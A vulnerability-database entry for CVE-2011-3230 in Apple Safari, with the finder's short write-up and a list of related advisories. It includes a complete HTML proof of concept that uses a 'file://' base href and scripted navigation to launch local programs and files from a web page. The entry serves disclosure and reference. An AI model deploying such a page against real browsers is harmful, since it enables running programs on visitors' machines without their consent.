Lucene search
RootSSV:21029HistoryOct 15, 2011 - 12:00 a.m.
Apple Safari Arbitrary Code Execution
2011-10-1500:00:00
Root
www.seebug.org
12
0.909 High
EPSS
Percentile
98.6%
No description provided by source.
CVE: CVE-2011-3230
Found By: Aaron Sigel of vtty.com
There's not a ton to say about this bug aside from "Yikes"! I think the PoC speaks for itself. This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page. The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it. Other than that, you can run or launch anything you can access by using the method in the html provided below.
<html>
<head>
<base href="file://">
<script>
function DoIt() {
alert(document.getElementById("cmdToRun").value);
document.location=document.getElementById("cmdToRun").value;
}
</script>
</head>
<body>
<select id="cmdToRun">
<option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
<option value="/etc/passwd">Launch /etc/passwd</option>
<option value="/Applications/Utilities/Bluetooth File Exchange.app">
Launch Bluetooth File Exchange.app</option>
</select>
<br />
<input type=button value="Launch" onclick="DoIt()">
<br />
</body>
</html>
Apple's advisory: http://support.apple.com/kb/HT5000
Related
checkpoint_advisories
checkpoint_advisories
Apple Safari file URL Arbitrary Code Execution (CVE-2011-3230)
2011-10-13 00:00:00
packetstorm
packetstorm
Apple Safari file:// Arbitrary Code Execution
2011-10-17 00:00:00
Apple Safari Arbitrary Code Execution
2011-10-15 00:00:00
seebug
seebug
Apple Safari file:// URLθΏη¨δ»£η ζ§θ‘ζΌζ΄
2011-10-17 00:00:00
Apple Safari file:// Arbitrary Code Execution
2014-07-01 00:00:00
prion
prion
Code injection
2011-10-14 10:55:00
metasploit
metasploit
Apple Safari file:// Arbitrary Code Execution
2011-10-16 19:31:09
threatpost
threatpost
Apple Ships Mammoth Security Update for OS X
2011-10-13 15:09:46
cve
cve
CVE-2011-3230
2011-10-14 10:55:00
exploitdb
exploitdb
Apple Safari - 'file://' Arbitrary Code Execution (Metasploit)
2011-10-17 00:00:00
securityvulns
securityvulns
Apple Safari / WebKit multiple security vulnerabilities
2011-10-15 00:00:00
APPLE-SA-2011-10-12-4 Safari 5.1.1
2011-10-15 00:00:00
nessus
nessus
Mac OS X : Apple Safari < 5.1.1
2011-10-13 00:00:00
openvas
openvas
Apple Mac OS X v10.6.8 Safari Multiple Vulnerabilities
2011-10-20 00:00:00
Apple MAC OS X v10.6.8 Safari Multiple Vulnerabilities
2011-10-20 00:00:00